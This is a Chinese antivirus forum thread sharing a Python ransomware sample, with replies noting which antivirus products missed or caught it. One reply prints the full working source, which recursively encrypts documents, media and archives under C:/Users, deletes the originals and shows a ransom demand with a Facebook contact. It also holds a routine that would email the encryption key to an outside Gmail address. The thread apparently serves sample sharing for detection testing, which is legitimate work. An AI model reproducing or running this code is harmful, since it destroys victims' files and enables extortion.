查看: 2510|回复: 20
收起左侧

[病毒样本] Python勒索一枚

[复制链接]
Janus
发表于 2020-3-22 16:28:56 | 显示全部楼层 |阅读模式
需要安装
  1. python -m pip install --user cryptography
复制代码
https://www.virustotal.com/gui/file/fbf5815ffff268df06b59f234b8863e6930c49f7cb1d6469f186c383588ebc6a/detection

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
静影沉璧
发表于 2020-3-22 16:36:54 | 显示全部楼层
ESET SCAN MISS

  1. from cryptography.fernet import Fernet
  2. import os.path, datetime, smtplib

  3. # Encrypt folder
  4. folder = 'C:/Users'

  5. # Id folder
  6. identFolder = ''
  7. identFile = 'ident.window'

  8. fileType = ['txt', 'doc', 'docx', 'xlsx', 'sxi', 'cpp', 'inp', 'out', 'img', 'jpg', 'mp4', 'mp3', 'mkv', 'sql', 'php', 'java', 'py', 'scss', 'pas', 'psd', 'js', 'css', 'html', 'cmd', 'vbs', 'asp', 'avi', 'fla', 'wmv', 'mpeg', '3gp', 'flv', 'ai', 'gif', 'jpeg', 'iso', 'backup', '7z', 'gz', 'bak', 'csv', 'msg', 'xlsx', 'xlsm', '', 'xlsb', 'md', 'ppt', 'pptx', 'pdf', 'rar', 'zip', 'tar', 'png']
  9. encName = 'enc'
  10. gmailUsername = 'from@gmail.com'
  11. gmailPassword = 'password'
  12. targetMail = 'minhnghianguyen75@gmail.com'

  13. def createident():
  14.     st = str(datetime.datetime.now()).replace(' ', '.')
  15.     st = st.replace(':', '.')
  16.     st = st.replace('-', '.')
  17.     return st

  18. def encrypt(key):
  19.     ferFile = Fernet(key)
  20.     for (root, dirs, files) in os.walk(folder):
  21.         for file in files:
  22.             if not file.split('.')[-1] in fileType: continue
  23.             #print('Encrypting: ', os.path.join(root, file))
  24.             with open(os.path.join(root, file), 'rb') as f:
  25.                 dt = f.read()
  26.             dtEncrypt = ferFile.encrypt(dt)
  27.             try: os.remove(os.path.join(root, file))
  28.             except: pass
  29.             with open(os.path.join(root, file + '.' + encName), 'wb') as f:
  30.                 f.write(dtEncrypt)

  31. def decrypt(key):
  32.     ferFile = Fernet(key)
  33.     for (root, dirs, files) in os.walk(folder):
  34.         for file in files:
  35.             if file.split('.')[-1] != encName or (not file.split('.')[-2] in fileType): continue
  36.             print('Decrypting: ', os.path.join(root, file))
  37.             with open(os.path.join(root, file), 'rb') as f:
  38.                 dt = f.read()
  39.             dtDecrypt = ferFile.decrypt(dt)
  40.             try: os.remove(os.path.join(root, file))
  41.             except: pass
  42.             tmp = file.split('.')
  43.             file = ''
  44.             for x in range(0, len(tmp) - 1):
  45.                 if x == (len(tmp) - 1):
  46.                     file = file + tmp[x]
  47.                     continue
  48.                 file = file + tmp[x] + '.'
  49.             with open(os.path.join(root, file), 'wb') as f:
  50.                 f.write(dtDecrypt)

  51. def sendMail(ident, key):
  52.     try:
  53.         server = smtplib.SMTP('smtp.gmail.com', 587)
  54.         server.starttls()
  55.         server.login(gmailUsername, gmailPassword)
  56.         msg = ident + ' ==> ' + key
  57.         server.sendmail(gmailUsername, targetMail, msg)
  58.     except Exception as e:
  59.         #print(e)
  60.         return 0
  61.     return 1

  62. if __name__ == '__main__':
  63.     if os.path.exists(os.path.join(identFolder, identFile)):
  64.         key = input('Please enter the key to decrypt data: ')
  65.         decrypt(key)
  66.         print('Decrypt successfully!')
  67.         try: os.remove(os.path.join(identFolder, identFile))
  68.         except: pass
  69.     else:
  70.         print('Please wait ...')
  71.         ident = createident()
  72.         with open(os.path.join(identFolder, identFile), 'wt') as file:
  73.             file.write(ident)
  74.         key = Fernet.generate_key()
  75.         print(str(key))
  76.         encrypt(key)
  77.         print('Your data has been encrypted!!! If you want to get back your data, please contact me at https://www.facebook.com/minhnghianguyen7575 for details.')
  78.         print('Do not change files name or remove id file if you want to get back your data! ... Enjoy!')
  79.     input('Press enter to continue...')
复制代码


a233
发表于 2020-3-22 16:38:29 | 显示全部楼层
Avast扫描Miss
54ss
发表于 2020-3-22 16:42:09 | 显示全部楼层
BD扫描 miss 虚拟机没装py 不双击了
71212345
发表于 2020-3-22 17:49:16 | 显示全部楼层
ESET Python/Filecoder.DQ 特洛伊木马
zpy0206
发表于 2020-3-22 17:52:56 | 显示全部楼层
火绒 miss 实机就不双击了
Janus
 楼主| 发表于 2020-3-22 18:00:22 | 显示全部楼层
71212345 发表于 2020-3-22 17:49
ESET Python/Filecoder.DQ 特洛伊木马

上报了?还是你的ESET设置不同?VT上没有一家报
静影沉璧
发表于 2020-3-22 18:04:07 | 显示全部楼层
Janus 发表于 2020-3-22 18:00
上报了?还是你的ESET设置不同?VT上没有一家报

可能是我的锅?我刚才没右键扫



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
71212345
发表于 2020-3-22 18:06:56 | 显示全部楼层
本帖最后由 71212345 于 2020-3-22 18:11 编辑
Janus 发表于 2020-3-22 18:00
上报了?还是你的ESET设置不同?VT上没有一家报

解压直接杀。最新毒库,开了文件系统实时防护里加壳程序和高级启发式扫描,其他默认设置

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Janus
 楼主| 发表于 2020-3-22 18:16:45 | 显示全部楼层
静影沉璧 发表于 2020-3-22 18:04
可能是我的锅?我刚才没右键扫

ESET企业版厉害吖,我的BD企业版直接被加密了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-4-30 21:14 , Processed in 0.135388 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表